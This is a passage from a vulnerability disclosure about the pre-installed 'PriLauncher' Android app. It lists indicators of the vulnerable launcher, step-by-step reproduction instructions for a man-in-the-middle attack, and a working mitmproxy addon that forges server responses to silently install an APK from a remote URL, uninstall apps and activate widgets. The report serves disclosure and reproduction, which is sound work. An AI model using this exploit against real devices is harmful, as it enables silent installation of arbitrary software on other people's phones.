The presence of the "`com.android.launcher3:remote`" process is necessary for the remotely-controllable suite of capabilities. Note that this process has the shared "`system`" User Identifier (UID), providing it extensive privileges. On the BLU Bold K50 device, the "`PriLauncher`" app has 230 permissions granted to it, although this is mostly due to the permission sharing that occurs when using a shared UID, as the app only directly requests 44 permissions in its manifest file. In addition, the Android Framework provides specific privileges for processes that execute with the "`system`" UID.

DNS Requests

Passively captured network traffic can be examined for DNS requests for the typical domains that the app uses, such as "`unity.hwprize.com`", "`gatewaysg.hwprize.com`", "`gatewayus.hwprize.com`", and "`gatewayeu.hwprize.com`". From our observations so far, these domains are being hosted on Alibaba's infrastructure (see *Section 5: "Domain Information"*).

The "`/sdcard/doCommon/download`" Directory

The presence of the "`/sdcard/doCommon/download`" directory is used by the "`PriLauncher`" app as a destination for downloaded apps prior to their programmatic installation. The "`PriLauncher`" app deletes the downloaded APK file after successful installation, so that no trace is left of the installed app's source file, although the "`/sdcard/doCommon/download`" directory remains.

PriLauncher APK Paths

The presence of "`PriLauncher3QuickStep`" or "`PriLauncher`" in the path of the APK for the "`com.android.launcher3`" package name is also indicative that a non-standard launcher is being used. Two example paths are provided below.

```
% adb shell pm path com.android.launcher3
package:/system_ext/priv-app/PriLauncher3QuickStep/PriLauncher3QuickStep.apk

% adb shell pm path com.android.launcher3
package:/system_ext/priv-app/PriLauncher/PriLauncher.apk
```

[33] https://developer.android.com/about/versions/14/changes/fgs-types-required#remote-messaging

Appendix B. Reproduction Steps for Remote App Management Exploitation

This appendix provides the necessary steps to reproduce and confirm the vulnerabilities within the "`PriLauncher`" pre-installed app that can be remotely exploited due to the inclusion of the insecure xUtils3 library used for certain HTTPS network communications. In order to reproduce our findings, an applicable Android device with a USB connection to a computer with various software and configurations described in the following steps is desired but not required. A USB connection can facilitate certain reproduction steps, although if it is not used then any steps involving Android Debug Bridge (ADB) can be omitted.

1. Obtain one of the impacted devices that we have confirmed to be vulnerable in *Section 2.3: Impacted Devices* (confirming the appropriate build fingerprint) or a smartphone that displays the observed behaviors in *Appendix A: Indicators of a Potentially Vulnerable "`PriLauncher`" App*.

2. Install the "`mitmproxy`" tool on the computer that will be used to perform a MITM attack on the target Android smartphone.

3. Ensure that the computer running "`mitmproxy`" is on the same wireless network as the vulnerable Android smartphone. Alternatively, create a wireless network ("hotspot" or "internet sharing") from the computer to which the target Android smartphone connects.

4. Install the ADB utility on the local computer that is available as part of the Android Software Development Kit (SDK) Platform-Tools.[34]

5. Enable *developer mode* and *USB debugging* on the smartphone, and then connect it to the local computer via a USB cable.[35]

6. Enable verbose logging in the "`PriLauncher`" app by executing the "`adb shell 'touch /sdcard/debug.hs.log.enabled'`" ADB command, and then reboot the device using the "`adb reboot`" ADB command (or terminate the "`com.android.launcher3`" and "`com.android.launcher3:remote`" processes via ADB). A device reboot (or process termination) is necessary to make the "`PriLauncher`" app update the logging setting.

7. If the device was rebooted, unlock the device at least once (even if it is just the "swipe" screen lock that provides no security). The initial screen unlock is necessary to start the "`com.android.launcher3:remote`" process, which the "`com.android.launcher3/com.pri.appcenter.service.RemoteService`" service component implements and provides the extraneous launcher functionality.

8. Copy the "`mitmproxy`" addon file content, implemented as a Python script provided in Appendix C, and paste it into a file named "`hwprize_inject_responses.py`" on the local computer and save the file.

9. Start the "`mitmproxy`" tool using the "`mitmproxy --ignore-hosts pool.apk.aptoide.com -s <path to>/hwprize_inject_responses.py`" command on the local computer, which will inject the necessary network responses that the Prize Launcher app expects from its network infrastructure. Notably, this will still result in successful exploitation of the "`PriLauncher`" app's app management capabilities even if the Prize Launcher app's network infrastructure is taken down or rendered nonfunctional in the future. The "`--ignore-hosts aptoide.com`" command line argument is to allow the downloading of the Aptoide app by allowing URLs with the "`aptoide.com`" domain (i.e., "`https://pool.apk.aptoide.com/aptoide-web/cm-aptoide-pt-12058-70501565-`

[34] https://developer.android.com/tools/releases/platform-tools
[35] https://developer.android.com/studio/debug/dev-options#Enable-debugging

`8e2b75f538c5f4d73a7bd621a3e9ad71.apk`") to bypass the network proxy. This URL was functional as of April 24, 2025, and should be checked to ensure that it is still functional at the time of use (if a different URL is used, update the value to the "`--ignore-hosts`" option to the appropriate host in the new URL and the APK download URL should also be updated in Appendix C). Note that HTTP protocol can be used for the APK download URL and the "`--ignore-hosts aptoide.com`" command line argument can be removed.

10. Set the computer running "`mitmproxy`" as the network proxy in the target smartphone's Settings app. This is a platform-supported method of setting a network proxy. The IP address of the computer running "`mitmproxy`" is entered as the proxy host name and "`8080`" is entered as the proxy port since it is the default port for "`mitmproxy`".[36] Note that it is *not* necessary to add the "`mitmproxy`" root CA to the smartphone since the "`PriLauncher`" app accepts all SSL/TLS certificates for *most* of the network connections it initiates.

11. Execute the "`adb logcat --pid=$(adb shell ps -ef | grep com.android.launcher3:remote | awk '{print $2}')`" ADB command to observe the logging performed by the "`com.android.launcher3:remote`" process. This command assumes a shell environment for a Unix-like OS. A more universal approach is where the Process ID (PID) of the "`com.android.launcher3:remote`" process can be observed in the output of the "`adb shell ps -ef | grep com.android.launcher3:remote`" ADB command, and then the logging output is limited to this PID using the "`adb logcat --pid=<pid of com.android.launcher3:remote>`" ADB command, where the log messages can be optionally redirected to a local file.

12. Wait until relevant network traffic appears in "`mitmproxy`". If the device was just turned on, then it can take at most four hours for the "`PriLauncher`" app to make a POST request for the "`https://gatewaysg.hwprize.com/pull/api/planlist`" URL (or a similar URL with a different subdomain, e.g., "`gatewayeu.hwprize.com`"). The example script in Appendix C will handle the prerequisite request to "`https://gatewaysg.hwprize.com/unity/api/manage/function/v1`" to remotely enable the app management capabilities, as well as downgrade some of the requests from HTTPS to HTTP and uses a different domain (e.g., "`example.com`") since "`mitmproxy`" is injecting the responses into the "`PriLauncher`" app. This also prevents network requests for novel URLs (that are not handled by the "`mitmproxy`" addon in Appendix C) from reaching the Prize Launcher app's default network infrastructure. The potential wait for observable network traffic can be bypassed by executing the "`adb shell am start-foreground-service -n com.android.launcher3/com.pri.appcenter.service.RemoteService --ei optType 11`" ADB command from the computer to which the smartphone is connected. The timing is based on the "`PriLauncher`" app using the "`alarm`" system service to schedule specific actions to occur at specific time intervals.

13. Once the app makes a request for the "`https://gatewaysg.hwprize.com/pull/api/planlist`" URL by allowing the proper amount of time to pass (or artificially inducing it via an ADB command), a succession of subsequent network requests will appear in "`mitmproxy`". The next request is a POST request for the "`https://gatewaysg.hwprize.com/pull/api/consult`" URL, which returns action(s) to perform, followed by the "`https://gatewaysg.hwprize.com/pull/api/report`" URL request, which informs the app developers of the action to be performed. The Python script from Appendix C injects the appropriate network responses for these network requests so that the actions will not be reported back to the app developers, especially when a different URL prefix (e.g., "`http://example.com/`") is used. For the app installation and app uninstallation use cases, they may not happen instantaneously. After the app makes a request for the "`https://gatewaysg.hwprize.com/pull/api/consult`" URL, the actions have been scheduled for execution within the app. There are safeguards in place to prevent these actions from being performed while the smartphone's screen is on. If the smartphone's screen is off when the network requests occur, then the corresponding actions will be undertaken promptly and will finish within minutes or less. If the smartphone's screen was on when the network requests occurred, turn off the device's screen and they should occur within 30 minutes

[36] https://support.google.com/pixelphone/answer/9655181?hl=en

if the action was app installation. If the action was something other than app installation or setting a widget, then the action will need to be injected again as it will be ignored by the "`PriLauncher`" app. Alternatively, the pending actions can be forced to execute using the "`adb shell 'am start-foreground-service -a com.pri.appcenter.service.RemoteService -n com.android.launcher3/com.pri.appcenter.service.RemoteService --ei optType 5'`" ADB command, which works to bypass the wait even when the screen is on.

14. The default behavior for the "`mitmproxy`" addon, provided in Appendix C, is to programmatically perform the following actions: (1) install the *Aptoide* app (package name of "`cm.aptoide.pt`"), (2) uninstall the *CPU Info* app (package name of "`com.kgurgul.cpuinfo`")[37], and (3) set the "`com.example.widget.WidgetProvider`" class within the "`com.example.widget`" package as a widget. These actions do assume that: (1) the Aptoide app is not currently installed (so it can be installed), (2) the CPU Info app is currently installed (so it can be uninstalled), and (3) an app with a package name of "`com.example.widget`" is currently installed and the app has a "`com.example.widget.WidgetProvider`" class (also declared in the app's manifest file)[38] that extends the "`android.appwidget.AppWidgetProvider`" class. After the actions finish, which should be in a matter of minutes if the device screen is off, an app should appear in the launcher with the name of "Aptoide" and the "`adb shell pm path cm.aptoide.pt`" ADB command should return the path to the remotely-installed app. In addition, the "`adb shell pm path com.kgurgul.cpuinfo`" should return no output to show that the "CPU Info" app was uninstalled. Lastly, the "`com.example.widget`" app should appear in the launcher (swipe right if needed). Note that it is possible that *Google Play Protect* will block app installations if it detects any issues (e.g., the app has a low target SDK level). Currently, all three actions are performed. Actions can be added or removed by modifying the list referenced by the "`res`" key on line 588 in Appendix C. To use different apps for the actions, follow the guidance below when changing variable names within the script in Appendix C.

- To install a different app, the following fields need to be changed: "`install_pkg_name`" on line 16 (to the package name of the app to be installed), and "`install_apk_url`" on line 17 (to the new URL from which to download the APK file to be installed). Note that the "`install_apk_url`" variable has a URL that works as on April 24, 2025, but this URL may become invalid the next time Aptoide updates their app. This URL can be swapped out for an arbitrary URL that returns an APK file.
- For app uninstallation, the "`uninstall_pkg_name`" variable on line 20 needs to be changed (to a package name of a third-party app that is currently installed on the device).
- For setting an app widget, the app widget needs to be installed (use programmatic app installation action first if needed), and then the "`widget_package_name`" field on line 23 needs to be changed (to the package name of the app that contains the widget) and the "`widget_provider_class_name`" field on line 24 needs to updated with the fully qualified class in the package that extends the "`android.appwidget.AppWidgetProvider`" class. This will activate the widget immediately and log messages from the app can be observed.

Appendix C. "mitmproxy" Addon to Inject Network Responses to Hijack App Management Features.

[37] https://play.google.com/store/apps/details?id=com.kgurgul.cpuinfo
[38] https://developer.android.com/develop/ui/views/appwidgets#widget-broadcasts

```
from mitmproxy import http
from datetime import datetime
import logging
import json
import time
import re
import traceback

def request(flow: http.HTTPFlow) -> None:

   try:

       int_val = -8

       # two fields below for remote app installation
       install_pkg_name = "cm.aptoide.pt"
       install_apk_url = "https://pool.apk.aptoide.com/aptoide-web/cm-aptoide-pt-12058-70501565-
8e2b75f538c5f4d73a7bd621a3e9ad71.apk"

       # one field below for remote app uninstallation
       uninstall_pkg_name = "com.kgurgul.cpuinfo"

       # two fields below for remotely setting an app as a widget (which starts the app)
       widget_package_name = "com.example.widget"
       widget_provider_class_name = "com.example.widget.WidgetProvider"

       timestamp = round(time.time() * 1000) # 1745519296

       date_timestamp_string = datetime.today().strftime('%Y-%m-%d %H:%M:%S') # 2024-04-24 14:28:16

       url = flow.request.pretty_url

       our_http_prefix = "http://example.com/"

       enddate = 1986466332 # end date of 2032-12-12 12:12:12

       image_url = 'http://www.goole.com/wp-content/themes/goole/img/goole.png'

       if re.search(r'https?://(gateway|unity).*\.hwprize\.com/unity/project/rs/launcherServer\??.*', url):

           launcher_server_json_response = {
               "code": "00000",
               "data": {
                   "brand": None,
                   "id": None,
                   "model": None,
                   #"serverUrl": "https://gatewaysg.hwprize.com/",
                   "serverUrl": our_http_prefix,
               },
               "msg": "success"
           }

           flow.response = http.Response.make(
               200,
               json.dumps(launcher_server_json_response),
               {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
           )
           logging.info(f"injected response for {flow.request.pretty_url}")


       if re.search(r'https?://(gateway|unity).*\.hwprize\.com/theme/imgList\??.*', url) or
url.startswith(our_http_prefix + 'theme/imgList'):

           imglist_json_response = {
               "code": "00000",
               "data": {
                   "imgList": [
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230302180220415.png",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151450972.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230303173155815.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828144449413.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230306164212484.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151639292.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230308114351784.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230112150055877.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151303238.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230302170656633.png",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107102240386.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230303172510697.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107102522888.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230306165223589.jpg",
                      "https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107101909986.jpg",
                   ],
                   "updateTime": timestamp,
               },
```

```
            "msg": "OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(imglist_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")

    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/pull/api/setting\??.*', url) or
url.startswith(our_http_prefix + 'pull/api/setting'):

        setting_json_response = {
            "code": "00000",
            "data": {
                "pullSetting": {
                    "desktopSuspensionSwitch": "off",
                    "extraMbSize": 0,
                    "extraMultiple": 2.0,
                    "hijackChangeCnt": 0,
                    "hijackHourBegin": 0,
                    "hijackHourEnd": 0,
                    "hijackSwitch": "off",
                    "installedPopSwitch": "off",
                    "keepRecordDays": 30,
                    "lockScreenSwitch": "on",
                    "openMinsInterval": 0,
                    "pollingTime": 240,
                    "protectionDays": 0,
                    "pullMsgTypes": "all",
                    "pullSwitch": "on",
                    "screenBigImgInterval": 3,
                    "shopSdkSwitch": "on",
                    "showMsgCnt": 6,
                    "suspensionBarSwitch": "on",
                    "unlockOpenSwitch": "off"
                },
                "settings": {
                    "garbageCleanSize": 300,
                    "garbageCleanTime": 2100,
                    "garbageSwitch": True,
                    "pushFrequency": 24,
                    "pushRequestFrequency": 6,
                    "pushSwitch": True,
                    "storageOcuppySize": 0.8,
                    "uninstallBoxSwitch": False,
                    "validPushTime": False
                },
            },
            "msg": "OK"
        }


        flow.response = http.Response.make(
            200,
            json.dumps(setting_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")



    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/unity/business/launcher/widget/list\??.*', url) or
url.startswith(our_http_prefix + 'unity/business/launcher/widget/list'):

        widget_list_response = {
        "code": "00000",
        "data": [
            {
                "className": "com.android.launcher3.prize.widget.wallpaperchange.view.WallpaperChangeView",
                "entranceList": [
                    {
                        "deeplink": "1mobile_guardian://scan_clean",
                        "entranceId": 23,
                        "entranceName": "壁纸",
                        "hfUrl": "https://www.sougou.com/",
                        "jumpTargetPn": "com.dobest.securitycenter",
                        "spreadList": [
                            {
                                "content": "English",
                                "entranceId": 23,
                                "id": 573,
                                "language": "en-US",
                                "title": "English"
```

```
                },
                {
                    "content": "中文",
                    "entranceId": 23,
                    "id": 572,
                    "language": "zh-CN",
                    "title": "中文"
                }
            ],
            "triggerDate": 0,
            "triggerInterval": 2,
            "widgetId": 22
        }
    ],
    "id": 22,
    "packageName": "com.android.launcher3",
    "widgetName": "壁纸"
},
{
    "className": "com.android.launcher3.prize.widget.memoryclean.view.MemoryCleanView",
    "entranceList": [
        {
            "deeplink": "mobile_guardian://memory_speed",
            "entranceId": 22,
            "entranceName": "一键清理",
            "hfUrl": "https://play.google.com/store/apps/details?id=com.dobest.securitycenter",
            "jumpTargetPn": "com.dobest.securitycenter",
            "spreadList": [
                {
                    "content": "你的设备可能需要深度清理",
                    "entranceId": 22,
                    "id": 583,
                    "language": "zh-CN",
                    "title": "推荐"
                },
                {
                    "content": "Your device may need some deep cleaning",
                    "entranceId": 22,
                    "id": 582,
                    "language": "en-US",
                    "title": "Recommend"
                }
            ],
            "triggerDate": 1,
            "triggerInterval": 3,
            "widgetId": 21
        }
    ],
    "id": 21,
    "packageName": "com.android.launcher3 ",
    "widgetName": "一键清理(1*1)"
},
{
    "className": "com.android.launcher3.prize.widget.flashlight.view.FlashLightView",
    "entranceList": [
        {
            "deeplink": "1dynamic://setting",
            "entranceId": 21,
            "entranceName": "手电筒",
            "hfUrl": "http://www.baidu.com",
            "jumpTargetPn": "com.dobest.dynamic",
            "spreadList": [
                {
                    "content": "English",
                    "entranceId": 21,
                    "id": 577,
                    "language": "en-US",
                    "title": "English"
                },
                {
                    "content": "中文",
                    "entranceId": 21,
                    "id": 576,
                    "language": "zh-CN",
                    "title": "中文"
                }
            ],
            "triggerDate": 0,
            "triggerInterval": 3,
            "widgetId": 20
        }
    ],
    "id": 20,
```

```
                "packageName": "com.android.launcher3 ",
                "widgetName": "手电筒"
            }
            ],
            "msg": "success"
        }


        flow.response = http.Response.make(
            200,
            json.dumps(widget_list_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/pull/stat/error/up\??.*', url) or
url.startswith(our_http_prefix + 'pull/stat/error/up'):

        report_json_response = {
            "code": "00000",
            "data": {},
            "msg": "OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(report_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/appstore/appinfo/downloadfault\??.*', url) or
url.startswith(our_http_prefix + 'appstore/appinfo/downloadfault'):

        downloadfault_json_response = {
            "code": "00000",
            "data": {},
            "msg": "OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(downloadfault_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/pull/api/report\??.*', url) or
url.startswith(our_http_prefix + 'pull/api/report'):

        report_json_response = {
            "code": "00000",
            "data": {},
            "msg": "OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(report_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/front/ota/api/conf/v1\??.*', url) or
url.startswith(our_http_prefix + 'front/ota/api/conf/v1'):
        conf_v1_json_response = {
            "code": 0,
            "msg": "0 OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(conf_v1_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/front/ota/api/tasks/v2\??.*', url) or
url.startswith(our_http_prefix + 'front/ota/api/tasks/v2'):
        tasks_v2_json_response = {
```


```
                "code": 0,
                "msg": "0 OK",
                "data":
"H4sIAAAAAAAAAAFIALf/o0SOcPhjxoVGXuGKnHrnJH0TEfiPzqOhM8OYo8UF6Upk0lKp2YXoIQtP3Y/RlWKoBKbge4yFZ75NsNPjd5asZUGd2g7PmVXfa
I59ekgAAAA=",
            }

            flow.response = http.Response.make(
                200,
                json.dumps(tasks_v2_json_response),
                {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
            )
            logging.info(f"injected response for {flow.request.pretty_url}")


        if re.search(r'https?://(gateway|unity).*\.hwprize\.com/ics/api/actinfo/findActiveInfo\??.*', url) or
url.startswith(our_http_prefix + 'ics/api/actinfo/findActiveInfo'):

            start_act_year = 2024
            start_act_month = 10
            start_act_day = 31
            act_date = str(start_act_year) + str(start_act_month) + str(start_act_day)

            start_date = datetime(start_act_year, start_act_month, start_act_day)
            today = datetime.today()
            diff = today - start_date
            act_days =  diff.days


            find_active_info_json_response = {
                "code": "00000",
                "data": {
                    "act_date": act_date,
                    "act_days": act_days,
                    "server_time": date_timestamp_string,
                    "server_timestamp": timestamp
                },
                "msg": "OK"
            }

            flow.response = http.Response.make(
                200,
                json.dumps(find_active_info_json_response),
                {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
            )
            logging.info(f"injected response for {flow.request.pretty_url}")


        if re.search(r'https?://(gateway|unity).*\.hwprize\.com/pull/api/consult\??.*', url) or
url.startswith(our_http_prefix + 'pull/api/consult'):

            exposure_bean = {
                "adsource": "", # string
                "agency": "", # string
                "appId": "appId", # string
                "appName": "fdroid_appName", # string
                "backParams": {"type": "silent"}, # Lcom/pri/statistics/model/BackParamsBean;
                "callPkg": "com.android.launcher3", # string
                "datas": "", # string
                "gui": "", # string
                "packageName": install_pkg_name, # string
                "parent_datas": "", # string
                "parent_type": "", # string
                "sourceType": 0, # int
                "title": "title", # string
                "type": "type", # string
                "widget": "", #string
            }

            consult_json_install_app_response = { # Lcom/pri/app/beans/PullMessage;
                "result": "NOSUCCESS",
                "preId": int_val,
                "preGroupId": int_val,
                "planId": int_val,
                "msgId": int_val,
                "groupId": int_val,
                "eventTracks": [],
                "msgInfo": { # Lcom/pri/app/beans/PullMsgContentBean;
                    "allowDelete": 1,
                    "allowLayer": 1,
                    "allowTime": 1,
                    "allowToas": 1,
                    "bannerUrl": "",
                    "className": "",
                    "content": "",
```

```
                "data": {
                    "aid": "",
                    "app": {}, # Lcom/pri/app/net/datasource/base/AppsItemBean;
                    "apps": [ # Ljava/util/List;<Lcom/pri/app/net/datasource/base/AppsItemBean;>
                        { # Lcom/pri/app/net/datasource/base/AppsItemBean;
                            "adType": 0, # int
                            "apkMd5": "1fe5ff4f621bcdbb42c6a2b55d97c7e7", # string
                            "apkSize": "11847160", # string
                            "apkSizeFormat": "", # string
                            "appPatch": {}, # Lcom/pri/app/net/datasource/base/AppPatch;
                            "appTypeId": 0, # int
                            "backParams": "", # string
                            "bannerUrl": "", # string
                            "boxLabel": "some_app", # string
                            "brief": "", # string
                            "cardId": "cardId", # string
                            "cardPosition": 0, # int
                            "categoryName": "", # string
                            "clickList": [ # Ljava/util/List;<string>
                                "", # string
                            ],
                            "customTags": "", # string
                            "dowloadedStamp": "", # string
                            "downLoadFlag": 0, # int
                            "downStartTime": 0, # long
                            "downloadTimes": "", # string
                            "downloadTimesFormat": "", # string
                            "downloadUrl": install_apk_url, # string
                            "giftCount": 0, # int
                            "iconUrl": "", # string
                            "id": install_pkg_name, # string
                            "impList": [ # Ljava/util/List;
                                "", # string
                            ],
                            "installFaile": "", # string
                            "installType": "", # string
                            "isActive": 0, # int
                            "isAd": 0, # int
                            "isAdvertise": False, # boolean
                            "isCheck": False, # boolean
                            "isNewDown": False, # boolean
                            "isUploaded": False, # boolean
                            "isUploadedDown": False, # boolean
                            "istatus": 0, # int
                            "largeIcon": "", # string
                            "name": "name", # string
                            "ourTag": "ourTag", # string
                            "packageName": install_pkg_name, # string
                            "pageInfo": json.dumps(exposure_bean), # json string
(Lcom/pri/statistics/model/ExposureBean;)
                            "pageTitle": "", # string
                            "points": 0, # int
                            "position": 0, # int
                            "pullInfo": "pullIt", # string
                            "rating": "", # string
                            "silentStatus": 0, # int
                            "sourceType": 0, # int
                            "subTitle": "", # string
                            "tag": "", # string
                            "tankAd": {}, # Ljava/lang/Object;
                            "timesCount": 0, # int
                            "title": "F-Droid", # string
                            "updateInfo": "", # string
                            "updateTime": "", # string
                            "userAction": 0, # int
                            "versionCode": 1, # int
                            "versionName": "1.0", # string
                        },
                    ],
                    "qiho": {}, # Lcom/pri/app/beans/PushValueBean;
                    "tid": "", # string
                    "uri": "", # string
                }, # Lcom/pri/app/beans/PushDataBean;
                "endDate": enddate,
                "iconUrl": "",
                "id": int_val,
                "packageName": install_pkg_name,
                "title": "del",
                "titleHtml": "",
                "toast": "toasty",
                "type": "install",
                "uiType": "silent",
                "value": install_pkg_name,
            },
            "msgContent": {},
```

```
}

consult_json_uninstall_app_response = { # Lcom/pri/app/beans/PullMessage;
    "result": "NOSUCCESS",
    "preId": int_val,
    "preGroupId": int_val,
    "planId": int_val,
    "msgId": int_val,
    "groupId": int_val,
    "eventTracks": [],
    "msgInfo": { # Lcom/pri/app/beans/PullMsgContentBean;
        "allowDelete": 1,
        "allowLayer": 1,
        "allowTime": 1,
        "allowToas": 1,
        "bannerUrl": "",
        "className": "",
        "content": "",
        "data": {},
        "endDate": enddate,
        "iconUrl": "",
        "id": int_val,
        "packageName": uninstall_pkg_name,
        "title": "del",
        "titleHtml": "",
        "toast": "toasty",
        "type": "uninstall",
        "uiType": "silent",
        "value": uninstall_pkg_name,
    },
    "msgContent": {},
}

value_json_response = {
    "className": widget_provider_class_name, # string
    "packageName": widget_package_name, # string
    "versionCode": 1, # int
}

consult_json_put_widget_response = { # Lcom/pri/app/beans/PullMessage;
    "result": "NOSUCCESS",
    "preId": int_val,
    "preGroupId": int_val,
    "planId": int_val,
    "msgId": int_val,
    "groupId": int_val,
    "eventTracks": [],
    "msgInfo": { # Lcom/pri/app/beans/PullMsgContentBean;
        "allowDelete": 1,
        "allowLayer": 1,
        "allowTime": 1,
        "allowToas": 1,
        "bannerUrl": image_url,
        "className": "",
        "content": "",
        "data": {}, # Lcom/pri/app/beans/PushDataBean;
        "endDate": enddate,
        "iconUrl": image_url,
        "id": int_val,
        "packageName": install_pkg_name,
        "title": "Notification title",
        "titleHtml": "",
        "toast": "toasty",
        "type": "widget-put",
        "uiType": "silent", # possible values 'info', 'notice' (creates notification), and 'smallimg'
        "value": json.dumps(value_json_response), # Lcom/android/launcher3/infocenter/bean/AppWidgetBean;
    },
    "msgContent": { # Lcom/pri/app/beans/PullMsgContentBean;
        "allowDelete": 1,
        "allowLayer": 1,
        "allowTime": 1,
        "allowToas": 1,
        "bannerUrl": image_url,
        "className": "",
        "content": "",
        "data": { # Lcom/pri/app/beans/PushDataBean;
        },
        "endDate": enddate,
        "iconUrl": image_url,
        "id": int_val,
        "packageName": install_pkg_name,
        "title": "Notification title",
        "titleHtml": "",
        "toast": "toasty",
        "type": "widget-put",
```


```
                    "uiType": "silent", # possible values 'info', 'notice' (creates notification),
and 'smallimg'
                    "value": json.dumps(value_json_response), # Lcom/android/launcher3/infocenter/bean/AppWidgetBean;
                },
            }

            consult_json_response = {
                "code": "00000",
                "data": { # Lcom/pri/app/beans/PullMsgResponse;
                    "res": [ # Lcom/pri/app/beans/PullMsgResponse;-
>res:Ljava/util/List;<Lcom/pri/app/beans/PullMessage;>
                        consult_json_uninstall_app_response,
                        consult_json_install_app_response,
                        consult_json_put_widget_response,
                    ]
                },
                "msg": "OK"
            }

            flow.response = http.Response.make(
                200,
                json.dumps(consult_json_response),
                {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
            )
            logging.info(f"injected response for {flow.request.pretty_url}")


        if re.search(r'https?://(gateway|unity).*\.hwprize\.com/unity/api/manage/function/v1\??.*', url) or
url.startswith(our_http_prefix + 'unity/api/manage/function/v1'):

            function_v1_json_response = {
                "code": "00000",
                "data": {
                    "result": [
                        { # Lcom/pri/app/function/FunctionManagerBean;
                            "key": "widget_memory_clean_ad",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "widget_wallpaper_ad",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "widget_flashlight_ad",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "notice",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "info",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "smallimg",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "install",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "uninstall",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "reddot-open",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
                            "key": "icon-title-replace",
                            "protectDay": 0,
                            "status": 1
                        },
                        {
```


```
                        "key": "widget-put",
                        "protectDay": 0,
                        "status": 1
                    },
                    {
                        "key": "shortcut-put",
                        "protectDay": 0,
                        "status": 1

                    },
                    {
                        "key": "corner-mark",
                        "protectDay": 0,
                        "status": 1
                    },
                    {
                        "key": "widget_jump_ad",
                        "protectDay": 0,
                        "status": 1
                    }
                ],
                "updateTime": timestamp,
            },
            "msg": "OK"
        }

        flow.response = http.Response.make(
            200,
            json.dumps(function_v1_json_response),
            {"Content-Type": "application/json", "Transfer-Encoding": "chunked", "Connection": "close"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")


    if re.search(r'https?://(gateway|unity).*\.hwprize\.com/pull/api/planlist\??.*', url) or
url.startswith(our_http_prefix + 'pull/api/planlist'):

        condition_client_dict = { # Lcom/pri/app/beans/ConditionClient;
             "behaviorType": "uninstall", # string
             'endHour': 24, # int
             'isCharge': 0, # int
             'isLock': 0, # int
             'opIsExistPkg': 1, # int
             'opPackageName': uninstall_pkg_name, # string
             'opType': 'uninstall', # string
             'opVersionCode': 0, # int
             'openCount': 0, # int
             'openCountCond': 0, # int
             'openLastTime': "", # string
             'openLastTimeCondition': 0, # int
             'openPackageName': '', # string
             'preIsExistPkg': 2, # int
             'prePackageName': uninstall_pkg_name, # string
             'preVersionCode': 1, # long
             'startHour': 1, # int
             'triggerCondition': "", # string
        }

        condition_client = json.dumps(condition_client_dict)

        planlist_json_response = {
            'code': "00000",
            'data': { # Lcom/pri/app/beans/PullPlanResBean;
                'lastTimeStamp': 0, # long
